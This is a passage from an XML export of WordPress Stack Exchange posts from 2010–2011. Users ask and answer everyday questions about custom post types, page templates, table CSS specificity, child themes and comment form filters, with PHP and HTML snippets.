href=&quot;http://stackoverflow.com/questions/3848608/iterate-through-custom-post-type-by-custom-taxonomy-type-ordering-wordpress-pos&quot;&gt;Iterate through custom post type by custom taxonomy type? (Ordering wordpress posts by category, or displaying custom post type by taxonomy term)&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-21T21:15:36.243" />
  <row Id="10032" PostTypeId="1" CreationDate="2010-12-01T07:21:33.940" Score="0" ViewCount="144" Body="&lt;p&gt;Does anybody have an idea how to add testimonials with an image in WordPress? Is there is any plugin that fulfills my requirement? I searched but did not find any. It must support PHP version 4.4.9.&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:13:25.910" LastActivityDate="2011-05-10T08:13:25.910" Title="How to add testimonials with an image?" Tags="&lt;theme-development&gt;&lt;plugin-recommendation&gt;&lt;development-strategy&gt;" AnswerCount="2" />
  <row Id="10033" PostTypeId="2" ParentId="10032" CreationDate="2010-12-01T07:42:25.223" Score="1" ViewCount="" Body="&lt;p&gt;Make a new category called &lt;strong&gt;Testimonials&lt;/strong&gt; then, in your theme folder add a new file called &lt;strong&gt;testimonials.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this in the newly created file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;testimonials&quot;&amp;gt;&#xA;    &amp;lt;?php $args = array('caller_get_posts' =&amp;gt; 1, 'post_type' =&amp;gt; 'testimonials', 'post_status' =&amp;gt; 'publish', 'posts_per_page' =&amp;gt; 5);&#xA;    query_posts($args);&#xA;    if (have_posts()) : while (have_posts()) : the_post(); &#xA;    $image = get_post_meta($post-&amp;gt;ID, 'testimonial-image', true);&#xA;    ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;testimonail&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $image; ?&amp;gt;&quot; width=&quot;&quot; height=&quot;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; else : endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add  where do you want the testimonials to show. Example footer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add testimonials by simply adding a new post and fill it under the &lt;strong&gt;Testimonials&lt;/strong&gt; category. As for the image, make a new custom field called &lt;strong&gt;testimonial-image&lt;/strong&gt; and for the value add the path to the image (ex: &lt;a href=&quot;http://example.com/image.png&quot; rel=&quot;nofollow&quot;&gt;http://example.com/image.png&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you are good to go.&lt;/p&gt;&#xA;" OwnerUserId="1882" LastActivityDate="2010-12-01T08:05:11.660" CommentCount="5" />
  <row Id="10034" PostTypeId="2" ParentId="10032" CreationDate="2011-02-21T22:47:04.003" Score="0" ViewCount="" Body="&lt;p&gt;This plugin will do everything you need and a whole lot more: &lt;a href=&quot;http://wordpress.org/extend/plugins/tb-testimonials/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tb-testimonials/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-21T22:47:04.003" />
  <row Id="10035" PostTypeId="2" ParentId="10028" CreationDate="2011-02-22T03:09:47.663" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$posts = get_posts(array('name' =&amp;gt; 'your-posts-name', 'post_type' =&amp;gt; 'faq'));&#xA;foreach ($posts as $post) {&#xA;    $title = get_the_title($post-&amp;gt;ID);&#xA;    $permalink = get_permalink($post-&amp;gt;ID);&#xA;    break; //use this to limit to a single result&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T03:09:47.663" CommentCount="2" />
  <row Id="10036" PostTypeId="1" AcceptedAnswerId="10046" CreationDate="2011-02-22T03:25:15.927" Score="1" ViewCount="74" Body="&lt;p&gt;When I want to install a new Wordpress plugin, I do a search for the plugin I want, and I receive a list of results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to sort the results by rating, or name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, it would be a useful addition to Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-02-22T07:29:51.300" Title="Sort plugins by rating" Tags="&lt;plugins&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10037" PostTypeId="2" ParentId="10015" CreationDate="2011-02-22T03:43:24.877" Score="1" ViewCount="" Body="&lt;p&gt;You could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;wp_list_categories('order_by=ID&amp;amp;title_li=&amp;amp;include=4,5,6,7,8,9,10');&#xA;wp_list_categories('order_by=ID&amp;amp;title_li=$include=72');&#xA;wp_list_categories('order_by=ID&amp;amp;title_li=&amp;amp;include=11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41');&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just listing them in order for the include arg won't help you since that only goes into the WHERE clause, not into the ORDER BY clause of the SQL query.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T03:43:24.877" CommentCount="1" />
  <row Id="10038" PostTypeId="1" AcceptedAnswerId="10108" CreationDate="2011-02-22T04:06:09.653" Score="0" ViewCount="257" Body="&lt;p&gt;I am trying to style a table in a Wordpress post, but am having difficulty getting it to work. I have set the post to HTML-editing mode and can get some of the styles to take, but not all. (To be honest, this is not the first time I have had trouble getting table styles to work.) The contents of the post (using contrived styles and high-contrast colors to make it easy to identify elements) are below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the incorrect result I am getting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/AZaqP.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the cells are not picking up the styles but the table itself is, well, mostly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that maybe it is the blog’s theme that is interfering, but from my understanding of HTML, the &lt;code&gt;STYLE&lt;/code&gt; tag that comes right before the table is &lt;em&gt;supposed&lt;/em&gt; to override anything that comes before it (and is partly doing so). If I put some style info directly into the &lt;code&gt;TD&lt;/code&gt; tags, it works, but that is obviously not a practical solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;Can anyone help me figure out how to get a table style to work in a Wordpress post? Thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- script type=&quot;text/javascript&quot; src=&quot;/Common/JS/SortTable.js&quot;&amp;gt;&amp;lt;/script --&amp;gt;&#xA;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;table.sortable {&#xA;    margin              : auto;&#xA;&#xA;    border-style        : dashed;&#xA;    border-color        : #000000;&#xA;    border-width        : 2px;&#xA;&#xA;    color               : #000000;&#xA;    background-color    : #ff0000;&#xA;}&#xA;&#xA;table.sortable td {&#xA;    border-style        : dashed;&#xA;    border-color        : #000000;&#xA;    border-width        : 2px;&#xA;&#xA;    width               : 100px;&#xA;    background-color    : #0000ff;&#xA;}&#xA;&#xA;table.sortable .title {&#xA;    width               : 300px;&#xA;    background-color    : #00ff00;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&#xA;&amp;lt;table id=&quot;mylist&quot; class=&quot;sortable&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Title&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Foo&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Bar&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Baz&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;title&quot;&amp;gt;Something&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;5&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;5&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;5&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;title&quot;&amp;gt;Something Better&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;4&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;5&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;5&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;title&quot;&amp;gt;Something Worse&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;3&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;4&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;3&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;title&quot;&amp;gt;Something Horrible&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;3&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;4&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td sorttable_customkey=&quot;1&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="121" LastActivityDate="2011-02-23T03:35:21.287" Title="Having Trouble Styling a Table in a Wordpress Post" Tags="&lt;css&gt;&lt;posts&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="10039" PostTypeId="1" CreationDate="2011-02-22T04:30:14.850" Score="0" ViewCount="38" Body="&lt;p&gt;seems the kitchen sink, and sidebar show/hide links, are not working. i have upgraded to latest release with no such luck in fixing problem. Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2011-02-22T07:30:16.310" Title="kitchen sink not working" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="10040" PostTypeId="2" ParentId="10038" CreationDate="2011-02-22T04:40:57.053" Score="0" ViewCount="" Body="&lt;p&gt;Your understanding is partly right. Later styles override earlier ones IF they have the same or less specificity of the selectors. Specificity can be a tricky/counter-intuitive thing, but the basics are: selectors that specify an element in a more narrow (specific) way override those that define them in a broader way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all depends on what your theme's stylesheet does. You'll need to investigate that. For instance, on my theme, tables in posts get styles attached from the theme via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content tr th { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content tr td { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case these would take precedence over your definitions because #content selects an outermore tag than table.sortable . This defines higher  specificity, because it narrows down the context of '.sortable' tables that would be selected. In this case you'd have to define your styles with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content table.sortable tr th { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content table.sortable tr td { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in order to have them take precedence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to get your own styles take precedence is always to prefix your selectors with &lt;code&gt;body&lt;/code&gt;. However, this is quite rough and can hence lead to trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend using a browser web developer tool like Firebug or WebKit's/Chrome's buildin developer tools to inspect the elements in questions and look at what style definitions override one another. This will give you a good clue as to what you can do to have your own take precedence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you figured that, put your own styles in your themes/child theme's style.css...if you want to format that table only use an id selector (&lt;code&gt;#mytable&lt;/code&gt;) or if it's more than one give them a distinct class and put that in your selectors.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T04:40:57.053" CommentCount="5" />
  <row Id="10041" PostTypeId="2" ParentId="9989" CreationDate="2011-02-22T05:40:55.893" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you include parent theme's &lt;code&gt;functions.php&lt;/code&gt; file in child theme's &lt;code&gt;functions.php&lt;/code&gt; file, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In child theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( TEMPLATEPATH !== STYLESHEETPATH &amp;amp;&amp;amp; file_exists( TEMPLATEPATH . '/functions.php' ) )&#xA;            include( TEMPLATEPATH . '/functions.php' );&#xA;&#xA;// code of child theme's functions.php file continues here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this way, the parent theme's &lt;code&gt;functions.php&lt;/code&gt; file is not changed (sometimes this is important).&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-02-22T05:40:55.893" CommentCount="1" />
  <row Id="10042" PostTypeId="1" CreationDate="2011-02-22T06:41:03.470" Score="0" ViewCount="88" Body="&lt;p&gt;Any ideas to restrict viewing of posts to post author only? The twist: Restrict both back AND frontend.  I'd like to avoid the role scoper plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: The author creates a post, and can now view live on the site, as well as in the admin panel. They can edit, trash, whatever. But only admins and the author can see the post.  (Looking for task/project/helpdesk/use.  &lt;/p&gt;&#xA;" LastActivityDate="2011-03-24T14:38:08.553" Title="Restrict Viewing of post on both front and backend?" Tags="&lt;3.0&gt;&lt;wp-admin&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10043" PostTypeId="1" AcceptedAnswerId="10044" CreationDate="2011-02-22T07:03:59.940" Score="0" ViewCount="91" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's Note:&lt;/strong&gt; The original title was &quot;viewing custom post types&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've setup a custom post type called &lt;code&gt;'recordings'&lt;/code&gt; with a custom taxonomy called &lt;code&gt;'themes'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'recordings');&#xA;function recordings() {&#xA;  $args = array(&#xA;    'label' =&amp;gt; __('Recordings'),&#xA;    'singular_label' =&amp;gt; __('Recordings'),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'custom-fields')&#xA;  );&#xA;  register_post_type( 'recordings' , $args );&#xA;}&#xA;register_taxonomy(&quot;Themes&quot;, array(&quot;recordings&quot;), array(&#xA;  &quot;hierarchical&quot; =&amp;gt; true, &#xA;  &quot;label&quot; =&amp;gt; &quot;Themes&quot;, &#xA;  &quot;singular_label&quot; =&amp;gt; &quot;Theme&quot;, &#xA;  &quot;rewrite&quot; =&amp;gt; true&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read that I should now make a copy of &lt;code&gt;page.php&lt;/code&gt;, rename it &lt;code&gt;recordings-page.php&lt;/code&gt; and season to taste (code is as follows):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: recordingsPage&#xA;*/&#xA;?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&#xA;    &amp;lt;?php $recent = new WP_Query('post_type=recording&amp;amp;posts_per_page=10&amp;amp;meta_key=Date&amp;amp;orderby=meta_value&amp;amp;order=ASC'); ?&amp;gt;&#xA;    &amp;lt;?php while($recent-&amp;gt;have_posts()) : $recent-&amp;gt;the_post();?&amp;gt;&#xA;      &amp;lt;?php the_title( '&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;' . &#xA;        get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . &#xA;        '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;' &#xA;      ); ?&amp;gt;&#xA;      &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;?php wp_link_pages( array( &#xA;          'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), &#xA;          'after' =&amp;gt; '&amp;lt;/div&amp;gt;' &#xA;        ) ); ?&amp;gt;&#xA;        &amp;lt;?php edit_post_link( &#xA;          __( 'Edit', 'twentyten' ), &#xA;          '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' &#xA;        ); ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;      &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is where I'm stuck. I'm not sure how I should call my recordings-page?  I've added a new page called recordings, but all that shows up is the header/nav and the sidebar. I'm working with a fresh install using the TwenyTen theme. I'm sure I'm missing something here but I don't know what.&lt;/p&gt;&#xA;" OwnerUserId="2815" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-22T07:17:17.050" LastActivityDate="2011-02-23T13:03:00.543" Title="Creating a Page to View the List of Posts for a Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" />
  <row Id="10044" PostTypeId="2" ParentId="10043" CreationDate="2011-02-22T07:24:57.047" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@don de lion:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it might be as simple as you needing to set the Page Template to &lt;em&gt;&quot;recordingsPage&quot;&lt;/em&gt; as you can see in the following screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110222-022323.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110222-022436.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;UPDATE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Looking again at your code it seems you define your post type as plural (&lt;code&gt;'recordings'&lt;/code&gt;) and &#xA; yet you refer to it as singular (&lt;code&gt;'recording'&lt;/code&gt;) in your &lt;code&gt;WP_Query&lt;/code&gt;. You need to be consistent; WordPress can't figure out the difference &lt;em&gt;(My experience says to go with singular all the way but if you have existing recordings in your database you'll now need to update those records to use 'recording'&lt;code&gt;instead of 'recordings'&lt;/code&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-23T13:03:00.543" LastActivityDate="2011-02-23T13:03:00.543" CommentCount="6" />
  <row Id="10045" PostTypeId="2" ParentId="9929" CreationDate="2011-02-22T07:29:04.873" Score="1" ViewCount="" Body="&lt;p&gt;Bottom line is that there is probably no generic way to do it, because every service has its own API and methods and such.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-22T07:29:04.873" CommentCount="1" />
  <row Id="10046" PostTypeId="2" ParentId="10036" CreationDate="2011-02-22T07:29:51.300" Score="1" ViewCount="" Body="&lt;p&gt;If you search for plugins at &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/&lt;/a&gt; rather than through your WordPress install you get more options on your search results. &lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-02-22T07:29:51.300" />
  <row Id="10047" PostTypeId="2" ParentId="10039" CreationDate="2011-02-22T07:30:16.310" Score="1" ViewCount="" Body="&lt;p&gt;Do you have something making your site use jQuery 1.5.0? jQuery 1.5 is not backwards compatible, and won't work.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-22T07:30:16.310" />
  <row Id="10048" PostTypeId="2" ParentId="10014" CreationDate="2011-02-22T07:38:43.950" Score="3" ViewCount="" Body="&lt;p&gt;This code makes no sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_fields($fields) {&#xA;$fields['new'] = '&amp;lt;p&amp;gt;red rover 1&amp;lt;/p&amp;gt;';&#xA;return $fields;&#xA;}&#xA;add_filter('comment_form_top','my_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not even sure what it's supposed to do, because comment_form_top is an action, not a filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add extra fields, you should be using the comment_form_default_fields filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('comment_form_default_fields','my_fields'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this might not work or might work intermittently, because the starkers_fields function is written incorrectly. It should be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function starkers_fields($fields) {&#xA;$commenter = wp_get_current_commenter();&#xA;$req = get_option( 'require_name_email' );&#xA;$aria_req = ( $req ? &quot; aria-required='true'&quot; : '' );&#xA;$fields['author'] = '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;author&quot;&amp;gt;' . __( 'Name' ) . '&amp;lt;/label&amp;gt; ' . ( $req ? '*' : '' ) .&#xA;        '&amp;lt;input id=&quot;author&quot; name=&quot;author&quot; type=&quot;text&quot; value=&quot;' . esc_attr( $commenter['comment_author'] ) . '&quot; size=&quot;30&quot;' . $aria_req . ' /&amp;gt;&amp;lt;/p&amp;gt;';&#xA;$fields['email'] = '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;' . __( 'Email' ) . '&amp;lt;/label&amp;gt; ' . ( $req ? '*' : '' ) .&#xA;        '&amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;email&quot; value=&quot;' . esc_attr(  $commenter['comment_author_email'] ) . '&quot; size=&quot;30&quot;' . $aria_req . ' /&amp;gt;&amp;lt;/p&amp;gt;';&#xA;&#xA;$fields['url'] = '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;url&quot;&amp;gt;' . __( 'Website' ) . '&amp;lt;/label&amp;gt;' .&#xA;        '&amp;lt;input id=&quot;url&quot; name=&quot;url&quot; type=&quot;url&quot; value=&quot;' . esc_attr( $commenter['comment_author_url'] ) . '&quot; size=&quot;30&quot; /&amp;gt;&amp;lt;/p&amp;gt;';&#xA;);&#xA;return $fields;&#xA;}&#xA;add_filter('comment_form_default_fields','starkers_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference here is that this version modifies the fields instead of replacing them outright. Thus allowing other fields to pass through it unaltered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you don't want to change the starkers_fields function, possibly because it's a parent theme that you don't control, then you can work around its brokenness by adjusting your filter priority to make sure my_fields runs after it, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_fields($fields) {&#xA;$fields['new'] = '&amp;lt;p&amp;gt;red rover 1&amp;lt;/p&amp;gt;';&#xA;return $fields;&#xA;}&#xA;add_filter('comment_form_default_fields','my_fields',20);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-22T07:38:43.950" CommentCount="1" />
  <row Id="10049" PostTypeId="1" CreationDate="2011-02-22T07:48:46.543" Score="0" ViewCount="84" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/266/best-of-breed-features-of-a-high-end-wordpress-web-host&quot;&gt;Best-of-Breed Features of a High-End WordPress Web Host?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;What is the ideal hosting environment to host a Wordpress powered website?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2011-02-22T07:48:46.543" ClosedDate="2011-02-22T14:06:08.517" Title="What is the ideal hosting environment to host a Wordpress powered website?" Tags="&lt;3.0&gt;&lt;hosting&gt;&lt;best-practices&gt;" CommentCount="0" />
  <row Id="10050" PostTypeId="1" AcceptedAnswerId="10083" CreationDate="2011-02-22T08:03:24.187" Score="0" ViewCount="97" Body="&lt;p&gt;I messed it up and I don't know how to fix it. I thought it would be easier if I just literally delete all the files and start over again. Is there a way to do it? I tried some tips in google to no avail. Neither 'svn cleanup' nor 'svn delete' works. :-(&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2011-02-22T15:28:40.223" Title="Restore svn trunk of my plugin repository to the initial state?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="10051" PostTypeId="2" ParentId="9982" CreationDate="2011-02-22T08:14:07.600" Score="0" ViewCount="" Body="&lt;p&gt;The standard search results can also be formatted with a theme file, by default &lt;code&gt;search.php&lt;/code&gt;. You don't need to create a &quot;fake&quot; page for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't include any content from the page, and only use the theme file, you can just rename &lt;code&gt;searchpage.php&lt;/code&gt; to &lt;code&gt;search.php&lt;/code&gt; and it will work. If you do have some content that comes from a page written in the admin area, then you will have to query for this yourself (using &lt;code&gt;get_posts()&lt;/code&gt; or another way), because the standard loop will only contain the search results, not that specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to add the internal WordPress search results to the page, just add a classic loop at the top, and this should display the results.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-22T08:14:07.600" />
  <row Id="10052" PostTypeId="2" ParentId="9969" CreationDate="2011-02-22T08:19:08.530" Score="1" ViewCount="" Body="&lt;p&gt;You created a page with the slug &lt;code&gt;search&lt;/code&gt; to &quot;capture&quot; that URL, but WordPress by default already uses that URL for search results. So you were &quot;lucky&quot; that this worked for you, and this is the reason &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9969/how-can-i-move-search-results-onto-a-specific-page/9970#9970&quot;&gt;the redirect supermethod mentioned&lt;/a&gt; will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, instead of creating a &quot;fake&quot; page to hold the template, you should just rename the template to &lt;code&gt;search.php&lt;/code&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9969/how-can-i-move-search-results-onto-a-specific-page/9971#9971&quot;&gt;like tnorthcutt suggested&lt;/a&gt;. If you still want to have content from the page defined in the admin area, I suggest you rename this page and get it via &lt;code&gt;get_posts()&lt;/code&gt; or another method, because the main loop will contain search results, not this specific page.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-22T08:19:08.530" />
